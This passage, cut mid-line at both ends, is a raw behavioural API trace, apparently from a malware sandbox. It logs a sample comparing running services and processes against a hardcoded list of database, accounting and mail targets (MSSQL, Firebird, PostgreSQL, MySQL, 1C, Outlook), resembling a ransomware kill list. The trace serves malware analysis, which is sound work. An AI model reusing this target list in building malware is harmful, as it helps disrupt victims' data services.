lpString2="lmhosts") returned 1 [0208.559] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0208.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0208.560] lstrlenW (lpString="MMCSS") returned 5 [0208.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0208.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0208.560] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0208.560] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0208.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0208.560] lstrlenW (lpString="nsi") returned 3 [0208.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0208.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0208.560] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0208.560] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0208.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0208.560] lstrlenW (lpString="PlugPlay") returned 8 [0208.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0208.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0208.561] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0208.561] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0208.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0208.561] lstrlenW (lpString="Power") returned 5 [0208.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0208.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0208.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0208.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0208.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0208.561] lstrlenW (lpString="ProfSvc") returned 7 [0208.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0208.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0208.562] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0208.562] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0208.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0208.562] lstrlenW (lpString="RpcEptMapper") returned 12 [0208.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.562] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0208.562] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0208.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0208.562] lstrlenW (lpString="RpcSs") returned 5 [0208.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0208.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0208.562] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0208.562] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0208.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0208.563] lstrlenW (lpString="SamSs") returned 5 [0208.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0208.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0208.563] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0208.563] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0208.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0208.563] lstrlenW (lpString="Schedule") returned 8 [0208.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0208.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0208.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0208.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0208.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0208.563] lstrlenW (lpString="SENS") returned 4 [0208.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0208.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0208.564] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0208.564] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0208.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0208.564] lstrlenW (lpString="ShellHWDetection") returned 16 [0208.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.564] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0208.564] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0208.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0208.564] lstrlenW (lpString="Spooler") returned 7 [0208.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0208.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0208.564] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0208.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0208.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0208.566] lstrlenW (lpString="Themes") returned 6 [0208.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0208.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0208.566] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0208.566] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0208.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0208.566] lstrlenW (lpString="UxSms") returned 5 [0208.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0208.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0208.567] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0208.567] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0208.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0208.567] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e6cb8 | out: hHeap=0x590000) returned 1 [0208.567] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x294 [0208.573] Process32FirstW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.574] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0208.575] lstrlenW (lpString="System") returned 6 [0208.575] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0208.575] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0208.575] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0208.575] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0208.575] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0208.575] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0208.576] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0208.576] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0208.577] lstrlenW (lpString="smss.exe") returned 8 [0208.577] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0208.577] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0208.577] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0208.577] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0208.577] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0208.577] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0208.577] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0208.577] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.578] lstrlenW (lpString="csrss.exe") returned 9 [0208.578] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0208.578] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0208.579] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0208.579] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0208.579] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0208.579] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0208.579] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0208.579] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0208.583] lstrlenW (lpString="wininit.exe") returned 11 [0208.583] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0208.583] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0208.583] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0208.583] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0208.583] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0208.583] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0208.583] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0208.584] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.585] lstrlenW (lpString="csrss.exe") returned 9 [0208.585] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0208.585] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0208.585] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0208.585] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0208.585] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0208.585] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0208.585] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0208.585] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0208.586] lstrlenW (lpString="winlogon.exe") returned 12 [0208.586] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0208.586] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0208.587] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0208.587] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0208.587] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0208.587] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0208.587] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0208.587] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0208.588] lstrlenW (lpString="services.exe") returned 12 [0208.588] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0208.588] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0208.588] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0208.588] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0208.588] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0208.588] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0208.588] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0208.589] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0208.589] lstrlenW (lpString="lsass.exe") returned 9 [0208.589] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0208.590] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0208.590] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0208.590] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0208.590] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0208.590] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0208.590] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0208.590] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0208.591] lstrlenW (lpString="lsm.exe") returned 7 [0208.591] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0208.591] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0208.591] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0208.591] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0208.591] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0208.591] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0208.591] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0208.591] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.592] lstrlenW (lpString="svchost.exe") returned 11 [0208.592] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0208.592] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0208.592] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0208.593] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0208.593] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0208.593] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0208.593] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0208.593] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.594] lstrlenW (lpString="svchost.exe") returned 11 [0208.594] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0208.594] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0208.594] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0208.594] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0208.594] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0208.594] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0208.594] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0208.594] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.595] lstrlenW (lpString="svchost.exe") returned 11 [0208.596] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0208.596] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0208.596] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0208.596] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0208.596] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0208.596] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0208.596] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0208.596] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.674] lstrlenW (lpString="svchost.exe") returned 11 [0208.674] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0208.674] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0208.674] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0208.674] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0208.674] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0208.674] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0208.674] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0208.674] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.675] lstrlenW (lpString="svchost.exe") returned 11 [0208.676] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0208.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0208.676] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0208.676] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0208.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0208.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0208.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0208.676] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0208.677] lstrlenW (lpString="audiodg.exe") returned 11 [0208.677] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0208.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0208.677] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0208.677] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0208.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0208.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0208.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0208.678] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.679] lstrlenW (lpString="svchost.exe") returned 11 [0208.679] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0208.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0208.679] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0208.679] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0208.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0208.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0208.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0208.679] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0208.680] lstrlenW (lpString="userinit.exe") returned 12 [0208.681] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0208.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0208.681] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0208.681] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0208.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0208.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0208.681] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0208.681] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0208.682] lstrlenW (lpString="explorer.exe") returned 12 [0208.683] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0208.683] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0208.683] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0208.683] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0208.683] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0208.683] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0208.684] lstrlenW (lpString="dwm.exe") returned 7 [0208.684] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.686] lstrlenW (lpString="svchost.exe") returned 11 [0208.686] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0208.687] lstrlenW (lpString="winhost.exe") returned 11 [0208.687] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0208.688] lstrlenW (lpString="spoolsv.exe") returned 11 [0208.688] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0208.689] lstrlenW (lpString="dllhost.exe") returned 11 [0208.689] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.700] lstrlenW (lpString="svchost.exe") returned 11 [0208.700] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0208.701] lstrlenW (lpString="taskhost.exe") returned 12 [0208.701] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0208.702] lstrlenW (lpString="cmd.exe") returned 7 [0208.702] Process32NextW (in: hSnapshot=0x294, 